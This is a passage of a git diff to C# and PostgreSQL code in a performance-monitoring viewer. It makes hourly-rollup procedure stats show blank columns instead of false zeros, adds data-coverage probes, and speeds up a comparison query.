+    /// Where <paramref name="table"/>'s coverage starts for the window (#4966), through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of this server's first collection and the table's retention edge, or null when
+    /// the table holds nothing in the window. A window no longer than the probe's slack starts no query. A table the probe
+    /// refuses (<see cref="DataWindowFloor.Source.TryForCollectorTable"/>) answers null, so its grid shows no note.
+    /// </summary>
+    public Task<DateTime?> GetPgDataStartAsync(
+        string table, int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.Source.TryForCollectorTable(table, out var source)
+            ? DataWindowFloor.GetForServerAsync(_dataSource, source, serverId, startUtc, endUtc,
+                ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken)
+            : Task.FromResult<DateTime?>(null);
+
     /// <summary>Activity tab - PostgreSQL deadlocks reported in the window (#2661), one row per distinct
     /// report. Windowed on when the deadlock HAPPENED rather than when it was collected: a report is
     /// always found some minutes after the fact, and on the <c>pg_read_file</c> route it is found again
     /// for as long as it stays in the re-read tail, so filtering on collection time would place it
     /// wrongly and move it every cycle.</summary>
     public Task<List<DarlingPgDeadlockReader.PgDeadlockRow>> GetPgDeadlocksAsync(
-        int serverId, DateTime startUtc, DateTime endUtc, int limit = 100,
+        int serverId, DateTime startUtc, DateTime endUtc, int limit = PgDeadlocksRowCap,
         CancellationToken cancellationToken = default) =>
         DarlingPgDeadlockReader.GetDeadlocksAsync(_dataSource, serverId, startUtc, endUtc, limit, cancellationToken);
 
@@ -384,7 +403,7 @@ public async Task<List<PgCpuUtilizationRow>> GetPgCpuUtilizationHistoryAsync(
     /// filters. Windowed on when the line was WRITTEN for the deadlock read's reason. 200 is the grid's cap,
     /// stated on the note beside the window's distinct count so a full grid is not read as the window.</summary>
     public Task<DarlingPgLogEventReader.PgLogEventsPage> GetPgLogEventsAsync(
-        int serverId, DateTime startUtc, DateTime endUtc, int limit = 200,
+        int serverId, DateTime startUtc, DateTime endUtc, int limit = PgLogEventsRowCap,
         CancellationToken cancellationToken = default) =>
         DarlingPgLogEventReader.GetEventsAsync(
             _dataSource, serverId, startUtc, endUtc, family: null, minSeverityRank: 0, limit, cancellationToken);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ProcedureStats.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ProcedureStats.cs
index fead53cf56..76fd4c8fde 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ProcedureStats.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ProcedureStats.cs
@@ -33,23 +33,25 @@ public sealed class ViewerProcedureStatsRow
     public long TotalExecutions { get; set; }
     public long TotalCpuUs { get; set; }
     public long TotalElapsedUs { get; set; }
-    public long TotalLogicalReads { get; set; }
-    public long TotalLogicalWrites { get; set; }
-    public long TotalPhysicalReads { get; set; }
-    public long MinWorkerTimeUs { get; set; }
-    public long MaxWorkerTimeUs { get; set; }
-    public long MinElapsedTimeUs { get; set; }
-    public long MaxElapsedTimeUs { get; set; }
-    public long MinLogicalReads { get; set; }
-    public long MaxLogicalReads { get; set; }
-    public long MinPhysicalReads { get; set; }
-    public long MaxPhysicalReads { get; set; }
-    public long MinLogicalWrites { get; set; }
-    public long MaxLogicalWrites { get; set; }
-    public long TotalSpills { get; set; }
-    public double AvgSpills { get; set; }
-    public long MinSpills { get; set; }
-    public long MaxSpills { get; set; }
+    public long? TotalLogicalReads { get; set; }
+    public long? TotalLogicalWrites { get; set; }
+    public long? TotalPhysicalReads { get; set; }
+    /* #5329: null on the hourly route. The rollup keeps min/max of per-collection deltas (sums over many
+       executions), not the per-execution extremes the raw route reads, so showing them would be a wrong number. */
+    public long? MinWorkerTimeUs { get; set; }
+    public long? MaxWorkerTimeUs { get; set; }
+    public long? MinElapsedTimeUs { get; set; }
+    public long? MaxElapsedTimeUs { get; set; }
+    public long? MinLogicalReads { get; set; }
+    public long? MaxLogicalReads { get; set; }
+    public long? MinPhysicalReads { get; set; }
+    public long? MaxPhysicalReads { get; set; }
+    public long? MinLogicalWrites { get; set; }
+    public long? MaxLogicalWrites { get; set; }
+    public long? TotalSpills { get; set; }
+    public double? AvgSpills { get; set; }
+    public long? MinSpills { get; set; }
+    public long? MaxSpills { get; set; }
     public DateTime? CachedTime { get; set; }
     public DateTime? LastExecutionTime { get; set; }
     public string SqlHandle { get; set; } = "";
@@ -65,11 +67,11 @@ public sealed class ViewerProcedureStatsRow
     public double TotalElapsedMs => TotalElapsedUs / 1000.0;
     public double AvgCpuMs => TotalExecutions > 0 ? TotalCpuMs / TotalExecutions : 0;
     public double AvgElapsedMs => TotalExecutions > 0 ? TotalElapsedMs / TotalExecutions : 0;
-    public double AvgReads => TotalExecutions > 0 ? (double)TotalLogicalReads / TotalExecutions : 0;
-    public double MinCpuMs => MinWorkerTimeUs / 1000.0;
-    public double MaxCpuMs => MaxWorkerTimeUs / 1000.0;
-    public double MinElapsedMs => MinElapsedTimeUs / 1000.0;
-    public double MaxElapsedMs => MaxElapsedTimeUs / 1000.0;
+    public double? AvgReads => TotalLogicalReads is null ? null : TotalExecutions > 0 ? (double)TotalLogicalReads.Value / TotalExecutions : 0;
+    public double? MinCpuMs => MinWorkerTimeUs is null ? null : MinWorkerTimeUs / 1000.0;
+    public double? MaxCpuMs => MaxWorkerTimeUs is null ? null : MaxWorkerTimeUs / 1000.0;
+    public double? MinElapsedMs => MinElapsedTimeUs is null ? null : MinElapsedTimeUs / 1000.0;
+    public double? MaxElapsedMs => MaxElapsedTimeUs is null ? null : MaxElapsedTimeUs / 1000.0;
     public string CachedTimeFormatted => ViewerDataService.FormatServerClock(CachedTime);
     public string LastExecutionTimeLocal => ViewerDataService.FormatServerClock(LastExecutionTime);
 }
@@ -146,8 +148,9 @@ ORDER BY SUM(delta_elapsed_time) DESC
     /// <c>DarlingDataReader.GetTopProceduresByCpuRoutedAsync</c> does — the tier decided over
     /// <see cref="RollupCoverage.For"/>'s legacy pair, Daily clamped to Hourly (#4231).
     /// An hourly-routed page carries only what the rollup has: <c>object_type</c>/<c>sql_handle</c>/
-    /// <c>plan_handle</c>/reads/writes/spills columns are unavailable and read as their defaults, exactly the
-    /// same disclosure the MCP payload's <c>tier_used</c>/<c>precision_note</c> make. An hourly-routed page
+    /// <c>plan_handle</c> are empty, and the reads/writes/physical-reads/spills columns the rollup keeps no copy of are
+    /// NULL on the row (#5329), so the grid shows them blank instead of a false 0 — the same disclosure the MCP
+    /// payload's <c>tier_used</c>/<c>precision_note</c> make (null, never 0). When the io hourly rollup (<see cref="IoHourlyCoversWindow"/>) reaches the window's start, the page reads it instead and fills logical reads, physical reads and logical writes from its sums (#5329). An hourly-routed page
     /// also stops BEFORE <paramref name="endUtc"/> (a bucket is stamped at its start, so an end on the hour
     /// does not add the hour that begins there). Use
     /// <see cref="GetTopProceduresByCpuTierAsync"/> to also learn which tier answered.</para>
@@ -163,6 +166,15 @@ public async Task<List<ViewerProcedureStatsRow>> GetTopProceduresByCpuAsync(
     /// tier answered ("raw" or "hourly") — the Queries-tab header suffix reads this.</summary>
     public async Task<(List<ViewerProcedureStatsRow> Rows, string Tier)> GetTopProceduresByCpuTierAsync(
         int serverId, DateTime startUtc, DateTime endUtc, int top = TopQueriesPageSize, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
+    {
+        var read = await GetTopProceduresByCpuRoutedAsync(serverId, startUtc, endUtc, top, databaseNames, cancellationToken);
+        return (read.Rows, read.Tier);
+    }
+
+    /// <summary>#5329: <see cref="GetTopProceduresByCpuTierAsync"/> with the window's real edges (see
+    /// <see cref="GetTopQueriesByCpuRoutedAsync"/>).</summary>
+    public async Task<ViewerRoutedRead<ViewerProcedureStatsRow>> GetTopProceduresByCpuRoutedAsync(
+        int serverId, DateTime startUtc, DateTime endUtc, int top = TopQueriesPageSize, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         var (rollups, coverage) = await GetRollupAvailabilityAsync(cancellationToken);
         var routedTier = RetentionTierRouter.Resolve(
@@ -175,11 +187,10 @@ public async Task<List<ViewerProcedureStatsRow>> GetTopProceduresByCpuAsync(
 
         if (routedTier == RetentionTier.Hourly)
         {
-            var hourlyRows = await GetTopProceduresByCpuHourlyAsync(coverage, serverId, startUtc, endUtc, top, databaseNames, cancellationToken);
-            return (hourlyRows, "hourly");
+            return await GetTopProceduresByCpuHourlyAsync(rollups, coverage, serverId, startUtc, endUtc, top, databaseNames, cancellationToken);
         }
 
-        return (await GetTopProceduresByCpuRawAsync(serverId, startUtc, endUtc, top, databaseNames, cancellationToken), "raw");
+        return new ViewerRoutedRead<ViewerProcedureStatsRow>(await GetTopProceduresByCpuRawAsync(serverId, startUtc, endUtc, top, databaseNames, cancellationToken), "raw", null);
     }
 
     /// <summary>#4231 stage 3b: the hourly-rollup arm — builds its FROM clause ONLY through
@@ -187,41 +198,61 @@ public async Task<List<ViewerProcedureStatsRow>> GetTopProceduresByCpuAsync(
     /// <c>(database_name, schema_name, object_name)</c> (the rollup has no object_type), and leaves
     /// <c>object_type</c>/<c>sql_handle</c>/<c>plan_handle</c>/reads/writes/spills at their defaults — the
     /// rollup has none of those columns.</summary>
-    private async Task<List<ViewerProcedureStatsRow>> GetTopProceduresByCpuHourlyAsync(
-        RollupCoverage coverage, int serverId, DateTime startUtc, DateTime endUtc, int top,
+    private async Task<ViewerRoutedRead<ViewerProcedureStatsRow>> GetTopProceduresByCpuHourlyAsync(
+        RollupAvailability rollups, RollupCoverage coverage, int serverId, DateTime startUtc, DateTime endUtc, int top,
         IReadOnlyList<string>? databaseNames, CancellationToken cancellationToken)
     {
-        var fromClause = coverage.StitchedRelationSql(
-            TimescaleSupport.ProcedureStatsHourlyView, "f", startUtc, RollupCoverage.StitchTier.Hourly);
-        var sql = BuildTopProceduresHourlySql(fromClause);
+        /* #5329: the io hourly rollup, when it reaches the window's start, in place of the interval rollup (same
+           columns plus the three I/O sums); otherwise today's route and blank columns. See the queries arm. */
+        var useIo = IoHourlyCoversWindow(rollups, coverage, TimescaleSupport.ProcedureStatsIoHourlyView, startUtc);
+        var answeringView = useIo ? TimescaleSupport.ProcedureStatsIoHourlyView : TimescaleSupport.ProcedureStatsHourlyView;
+        var fromClause = coverage.StitchedRelationSql(answeringView, "f", startUtc, RollupCoverage.StitchTier.Hourly);
+        /* #5329: the materialization-ceiling bound and the window's real edges, as the queries arm and the service do. */
+        var ceiling = coverage.HourlyEndCeiling(answeringView, startUtc);
+        var sql = BuildTopProceduresHourlySql(fromClause, withIo: useIo, ceiling: ceiling);
+        /* #5329: this server's own first bucket in the window, from the shared per-server probe, beside the grid read. */
+        var firstBucketTask = coverage.GetHourlyFirstBucketAsync(
+            _dataSource, answeringView, serverId, startUtc, endUtc, ceiling, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
 
         var rows = new List<ViewerProcedureStatsRow>();
-        await using var command = _dataSource.CreateCommand(sql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        AddServerWindowParameters(command, serverId, startUtc, endUtc);
-        command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = top });
-        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+        try
         {
-            rows.Add(new ViewerProcedureStatsRow
+            await using var command = _dataSource.CreateCommand(sql);
+            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            AddServerWindowParameters(command, serverId, startUtc, endUtc);
+            command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = top });
+            command.Parameters.Add(DatabaseFilterParameter(databaseNames));
+            AddHourlyCeilingParameter(command, ceiling);
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
             {
-                DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                SchemaName = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                ObjectName = reader.IsDBNull(2) ? "" : reader.GetString(2),
-                /* #4231 stage 3b: the rollup has no object_type column. */
-                ObjectType = "",
-                TotalExecutions = reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
-                TotalCpuUs = reader.IsDBNull(4) ? 0 : reader.GetInt64(4),
-                TotalElapsedUs = reader.IsDBNull(5) ? 0 : reader.GetInt64(5),
-                MinWorkerTimeUs = reader.IsDBNull(6) ? 0 : reader.GetInt64(6),
-                MaxWorkerTimeUs = reader.IsDBNull(7) ? 0 : reader.GetInt64(7),
-                MinElapsedTimeUs = reader.IsDBNull(8) ? 0 : reader.GetInt64(8),
-                MaxElapsedTimeUs = reader.IsDBNull(9) ? 0 : reader.GetInt64(9),
-            });
+                rows.Add(new ViewerProcedureStatsRow
+                {
+                    DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
+                    SchemaName = reader.IsDBNull(1) ? "" : reader.GetString(1),
+                    ObjectName = reader.IsDBNull(2) ? "" : reader.GetString(2),
+                    /* #4231 stage 3b: the rollup has no object_type column. */
+                    ObjectType = "",
+                    TotalExecutions = reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
+                    TotalCpuUs = reader.IsDBNull(4) ? 0 : reader.GetInt64(4),
+                    TotalElapsedUs = reader.IsDBNull(5) ? 0 : reader.GetInt64(5),
+                    /* #5329: from the io rollup's sums when it covers the window, else null (blank, never 0). */
+                    TotalLogicalReads = useIo && !reader.IsDBNull(6) ? reader.GetInt64(6) : null,
+                    TotalPhysicalReads = useIo && !reader.IsDBNull(7) ? reader.GetInt64(7) : null,
+                    TotalLogicalWrites = useIo && !reader.IsDBNull(8) ? reader.GetInt64(8) : null,
+                    /* #5329: the four min/max time fields stay null here. */
+                });
+            }
+        }
+        catch
+        {
+            /* #5329: the probe is no longer wanted, so observe its fault (never throw it over this one): otherwise one failure logs twice. */
+            await ObserveAsync(firstBucketTask);
+            throw;
         }
 
-        return rows;
+        var firstBucket = await firstBucketTask;
+        return new ViewerRoutedRead<ViewerProcedureStatsRow>(rows, "hourly", HourlyEdgesNote(startUtc, endUtc, firstBucket, ceiling), useIo, firstBucket);
     }
 
     /// <summary>The hourly-rollup arm's SQL over <paramref name="fromClause"/>. A rollup bucket is stamped at
@@ -229,22 +260,18 @@ private async Task<List<ViewerProcedureStatsRow>> GetTopProceduresByCpuHourlyAsy
     /// hours up to 13:00-14:00 and does not add the 14:00-15:00 hour that only begins at the end. (The raw arm
     /// stamps a sample when it was taken, so it keeps <c>&lt;=</c> on <c>collection_time</c>.) Split out so a
     /// test can read the text.</summary>
-    internal static string BuildTopProceduresHourlySql(string fromClause) => $"""
+    internal static string BuildTopProceduresHourlySql(string fromClause, bool withIo = false, DateTime? ceiling = null) => $"""
         SELECT
             database_name,
             schema_name,
             object_name,
             CAST(SUM(execution_count_sum) AS bigint) AS total_executions,
             CAST(SUM(worker_time_sum) AS bigint) AS total_cpu_us,
-            CAST(SUM(elapsed_time_sum) AS bigint) AS total_elapsed_us,
-            MIN(worker_time_min) AS min_worker_time,
-            MAX(worker_time_max) AS max_worker_time,
-            MIN(elapsed_time_min) AS min_elapsed_time,
-            MAX(elapsed_time_max) AS max_elapsed_time
+            CAST(SUM(elapsed_time_sum) AS bigint) AS total_elapsed_us{(withIo ? IoSumsSelectSql : "")}
         FROM {fromClause}
         WHERE server_id = $1
         AND   bucket >= $2
-        AND   bucket < $3
+        AND   bucket < $3{HourlyCeilingSql(ceiling)}
         AND   ($5::text[] IS NULL OR database_name = ANY($5))
         GROUP BY database_name, schema_name, object_name
         HAVING (SUM(execution_count_sum) > 0 OR SUM(elapsed_time_sum) > 0)
@@ -309,17 +336,30 @@ private async Task<List<ViewerProcedureStatsRow>> GetTopProceduresByCpuRawAsync(
     /// <paramref name="endUtc"/>] — the shared probe (<see cref="RawWindowFloor"/>), never a second, hand-copied
     /// floor query. The Queries tab's <c>LoadTopProceduresAsync</c> reads
     /// this beside <see cref="GetTopProceduresByCpuAsync"/> so the grid header can disclose a window the raw
-    /// tier no longer fully holds, the same fact <c>get_top_procedures_by_cpu</c> reports over MCP.
+    /// tier no longer fully holds, the same fact <c>get_top_procedures_by_cpu</c> reports over MCP. A window no longer than
+    /// <see cref="DurationTrendRouting.TruncationSlack"/> answers null without a store read (#4966): no banner can show for one.
     /// </summary>
     public Task<DateTime?> GetProcedureStatsWindowFloorAsync(
-        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
-        RawWindowFloor.GetAsync(_dataSource, RawWindowFloor.Table.ProcedureStats, serverId, startUtc, endUtc,
+        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+    {
+        /* #4966: a window no longer than the truncation slack can never get a coverage note, so the probe starts no query for it, as
+           DataWindowFloor.GetForServerAsync's does not (GetQueryStatsWindowFloorAsync says why). The skip is here, in the viewer's
+           methods, and not in RawWindowFloor.GetAsync: Darling's MCP tools share that probe and read its null as "nothing was read". */
+        if (endUtc - startUtc <= DurationTrendRouting.TruncationSlack)
+        {
+            return Task.FromResult<DateTime?>(null);
+        }
+
+        return RawWindowFloor.GetAsync(_dataSource, RawWindowFloor.Table.ProcedureStats, serverId, startUtc, endUtc,
             ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+    }
 
     /// <summary>
     /// Top-Procedures comparison — Lite's <c>GetProcedureStatsComparisonAsync</c> ported. Same
     /// top-100-union / FULL OUTER JOIN shape as the query-stats comparison, keyed on
-    /// (database, schema, object). Returns the shared <see cref="ProcedureStatsComparisonItem"/>.
+    /// (database, schema, object). All three key columns are nullable in <c>procedure_stats</c>, so the period joins and
+    /// the outer FULL JOIN each pair <c>COALESCE(key,'') = COALESCE(key,'')</c> with an <c>IS NULL</c> pair, keeping a
+    /// NULL key and an empty-string key apart (#5420). Returns the shared <see cref="ProcedureStatsComparisonItem"/>.
     /// $1 server_id, $2/$3 current window, $4/$5 baseline window (naive UTC).
     /// </summary>
     public const string ProcedureStatsComparisonSql = """
@@ -355,37 +395,76 @@ UNION ALL
         ),
         current_period AS (
             SELECT tp.database_name, tp.schema_name, tp.object_name,
-                   SUM(ps.delta_execution_count) AS exec_count,
-                   SUM(ps.delta_elapsed_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
-                   SUM(ps.delta_worker_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
-                   SUM(ps.delta_physical_reads)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) AS avg_reads,
-                   MAX(ps.sql_handle) AS sql_handle
+                   w.exec_count, w.avg_duration_ms, w.avg_cpu_ms, w.avg_reads, w.sql_handle
             FROM top_procs tp
-            INNER JOIN procedure_stats ps
-              ON  ps.database_name IS NOT DISTINCT FROM tp.database_name
-              AND ps.schema_name IS NOT DISTINCT FROM tp.schema_name
-              AND ps.object_name IS NOT DISTINCT FROM tp.object_name
-            WHERE ps.server_id = $1
-            AND   ps.collection_time >= $2 AND ps.collection_time <= $3
-            AND   ps.delta_execution_count > 0
-            GROUP BY tp.database_name, tp.schema_name, tp.object_name
+            INNER JOIN (
+                SELECT ps.database_name, ps.schema_name, ps.object_name,
+                       SUM(ps.delta_execution_count) AS exec_count,
+                       SUM(ps.delta_elapsed_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(ps.delta_worker_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(ps.delta_physical_reads)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) AS avg_reads,
+                       MAX(ps.sql_handle) AS sql_handle
+                FROM procedure_stats ps
+                WHERE ps.server_id = $1
+                AND   ps.collection_time >= $2 AND ps.collection_time <= $3
+                AND   ($6::text[] IS NULL OR ps.database_name = ANY($6))
+                AND   ps.delta_execution_count > 0
+                GROUP BY ps.database_name, ps.schema_name, ps.object_name
+            ) w
+              ON  COALESCE(w.database_name, '') = COALESCE(tp.database_name, '')
+              AND (w.database_name IS NULL) = (tp.database_name IS NULL)
+              AND COALESCE(w.schema_name, '') = COALESCE(tp.schema_name, '')
+              AND (w.schema_name IS NULL) = (tp.schema_name IS NULL)
+              AND COALESCE(w.object_name, '') = COALESCE(tp.object_name, '')
+              AND (w.object_name IS NULL) = (tp.object_name IS NULL)
         ),
         baseline_period AS (
             SELECT tp.database_name, tp.schema_name, tp.object_name,
-                   SUM(ps.delta_execution_count) AS exec_count,
-                   SUM(ps.delta_elapsed_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
-                   SUM(ps.delta_worker_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
-                   SUM(ps.delta_physical_reads)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) AS avg_reads,
-                   MAX(ps.sql_handle) AS sql_handle
+                   w.exec_count, w.avg_duration_ms, w.avg_cpu_ms, w.avg_reads, w.sql_handle
             FROM top_procs tp
-            INNER JOIN procedure_stats ps
-              ON  ps.database_name IS NOT DISTINCT FROM tp.database_name
-              AND ps.schema_name IS NOT DISTINCT FROM tp.schema_name
-              AND ps.object_name IS NOT DISTINCT FROM tp.object_name
-            WHERE ps.server_id = $1
-            AND   ps.collection_time >= $4 AND ps.collection_time <= $5
-            AND   ps.delta_execution_count > 0
-            GROUP BY tp.database_name, tp.schema_name, tp.object_name
+            INNER JOIN (
+                SELECT ps.database_name, ps.schema_name, ps.object_name,
+                       SUM(ps.delta_execution_count) AS exec_count,
+                       SUM(ps.delta_elapsed_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(ps.delta_worker_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(ps.delta_physical_reads)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) AS avg_reads,
+                       MAX(ps.sql_handle) AS sql_handle
+                FROM procedure_stats ps
+                WHERE ps.server_id = $1
+                AND   ps.collection_time >= $4 AND ps.collection_time <= $5
+                AND   ($6::text[] IS NULL OR ps.database_name = ANY($6))
+                AND   ps.delta_execution_count > 0
+                GROUP BY ps.database_name, ps.schema_name, ps.object_name
+            ) w
+              ON  COALESCE(w.database_name, '') = COALESCE(tp.database_name, '')
+              AND (w.database_name IS NULL) = (tp.database_name IS NULL)
+              AND COALESCE(w.schema_name, '') = COALESCE(tp.schema_name, '')
+              AND (w.schema_name IS NULL) = (tp.schema_name IS NULL)
+              AND COALESCE(w.object_name, '') = COALESCE(tp.object_name, '')
+              AND (w.object_name IS NULL) = (tp.object_name IS NULL)
+        ),
+        /* #5420: the representative text, found ONCE for every compared handle, from this read's own two windows
+           (the current range and the baseline range, not the span between them: a "Last week" baseline with a short
+           window would otherwise read every chunk in the gap, and Lite's #5381 pick uses the two ranges too). It was a LEFT JOIN LATERAL per procedure ("newest query_stats
+           row with this sql_handle"): no index covers sql_handle, so each lookup walked the time index newest
+           first until a row matched, and a procedure with no text anywhere (about 1 in 5 on a large store) walked
+           every retained chunk. On a large store that was 105 lookups at 167 ms, 17.6 s of a 25.7 s read, and a
+           bound on the lateral alone still scanned the whole window once per such procedure (the rig's 7-day read
+           stayed at 12 s). One window scan, narrowed to the compared handles by a hash semi-join, with DISTINCT
+           ON picking the newest row that carries a text, costs the same however many procedures have none.
+           The pick is the lateral's, ORDER BY collection_time DESC, with the row collected last winning a tie on
+           the time (collection_id DESC, as the Query Store tail and Lite do; the lateral left the tie arbitrary,
+           and one procedure's statements normally share an instant). Difference, on purpose: a procedure whose text exists only before the window now shows no
+           text, as a procedure with no text at all already did. Twins Lite's #5381 text pick. */
+        texts AS (
+            SELECT DISTINCT ON (qs.sql_handle) qs.sql_handle, qs.query_text
+            FROM v_query_stats qs
+            WHERE qs.server_id = $1
+            AND   ((qs.collection_time >= $2 AND qs.collection_time <= $3)
+               OR  (qs.collection_time >= $4 AND qs.collection_time <= $5))
+            AND   qs.sql_handle IN (SELECT sql_handle FROM current_period UNION SELECT sql_handle FROM baseline_period)
+            AND   qs.query_text IS NOT NULL
+            ORDER BY qs.sql_handle, qs.collection_time DESC, qs.collection_id DESC
         )
         SELECT COALESCE(c.database_name, b.database_name) AS database_name,
                COALESCE(c.schema_name, b.schema_name) AS schema_name,
@@ -401,21 +480,18 @@ FULL OUTER JOIN baseline_period b
           ON  COALESCE(c.database_name, '') = COALESCE(b.database_name, '')
           AND COALESCE(c.schema_name, '') = COALESCE(b.schema_name, '')
           AND COALESCE(c.object_name, '') = COALESCE(b.object_name, '')
+          AND (c.database_name IS NULL) = (b.database_name IS NULL)
+          AND (c.schema_name IS NULL) = (b.schema_name IS NULL)
+          AND (c.object_name IS NULL) = (b.object_name IS NULL)
         /* #1981: a REPRESENTATIVE statement of the procedure via the same normalized sql_handle
            join #1568's module attribution relies on (both stores persist the identical
            CONVERT(varchar(130), ..., 1) text). procedure_stats captures no text of its own, so
            this is the latest captured statement from inside the module — parity with the other
-           two comparison grids, labeled a statement rather than the definition. v_query_stats
-           resolves the #1767 payload dimension. */
-        LEFT JOIN LATERAL (
-            SELECT qs.query_text
-            FROM v_query_stats qs
-            WHERE qs.server_id = $1
-            AND   qs.sql_handle = COALESCE(c.sql_handle, b.sql_handle)
-            AND   qs.query_text IS NOT NULL
-            ORDER BY qs.collection_time DESC
-            LIMIT 1
-        ) t ON TRUE
+           two comparison grids, labeled a statement rather than the definition. texts reads
+           v_query_stats, which resolves the #1767 payload dimension (COALESCE(f.query_text,
+           qtd.query_text) through query_text_dim). */
+        LEFT JOIN texts t
+          ON t.sql_handle = COALESCE(c.sql_handle, b.sql_handle)
         """;
 
     /// <summary>Top-Procedures current-vs-baseline comparison rows (shared .Ui item; delta % + NEW/GONE badges).</summary>
@@ -464,7 +540,9 @@ public async Task<List<ProcedureStatsComparisonItem>> GetProcedureStatsCompariso
     public const string ProcStatsSlicerSql = """
         SELECT
             date_trunc('hour', collection_time) AS bucket,
-            COUNT(DISTINCT object_name) AS proc_count,
+            /* #5449: a procedure that did no work in a cycle has no stored row now (old data still has its zero-delta row),
+               so the count is of procedures WITH work: the same number on both. */
+            COUNT(DISTINCT object_name) FILTER (WHERE COALESCE(delta_execution_count, 0) > 0 OR COALESCE(delta_worker_time, 0) > 0 OR COALESCE(delta_elapsed_time, 0) > 0) AS proc_count,
             COALESCE(SUM(delta_worker_time), 0) / 1000.0 AS total_cpu_ms,
             COALESCE(SUM(delta_elapsed_time), 0) / 1000.0 AS total_elapsed_ms,
             COALESCE(SUM(delta_logical_reads), 0) AS total_reads,
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryHeatmap.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryHeatmap.cs
index 186134bd44..80f340d422 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryHeatmap.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryHeatmap.cs
@@ -11,6 +11,7 @@
 using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -164,6 +165,20 @@ FROM ranked
 
     private const int HeatmapBucketCount = 7;
 
+    /// <summary>
+    /// Where this server's query_stats coverage starts for the window (#4966), through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of its first collection and the table's edge, or its first row in the window if
+    /// that is earlier. The heatmap reads the raw table only (<see cref="BuildQueryHeatmapSql"/> has no rollup route), so the
+    /// probe is the raw table's; a rollup route added to the read must move the probe to that rollup's floor
+    /// (<see cref="DataWindowFloor.Source.TryForRollup"/>). The chart draws one column per 5-minute bin that holds a row, in order,
+    /// so a stretch with no row has no column and the chart cannot tell a server that did not exist yet from a quiet one: the
+    /// caller names the earlier of this and the first bin it draws (<see cref="ViewerEventDataStart.Of"/>), never a time later
+    /// than a column on screen. Null when the window holds no row and no logged run, and when it lies wholly before the coverage.
+    /// </summary>
+    public Task<DateTime?> GetQueryHeatmapDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("query_stats"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     /// <summary>
     /// The Query Heatmap grid for one metric over [<paramref name="startUtc"/>, <paramref name="endUtc"/>]:
     /// query counts per (5-minute bin × log-magnitude bucket), with the hottest query per cell for hover.
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QuerySnapshots.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QuerySnapshots.cs
index dc5ab38d3d..fd96244e5b 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QuerySnapshots.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QuerySnapshots.cs
@@ -12,6 +12,7 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -409,6 +410,19 @@ GROUP BY date_trunc('hour', collection_time)
         ORDER BY bucket
         """;
 
+    /// <summary>
+    /// Where this server's query_snapshots coverage starts for the range, through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of its first collection and the table's retention edge, or its
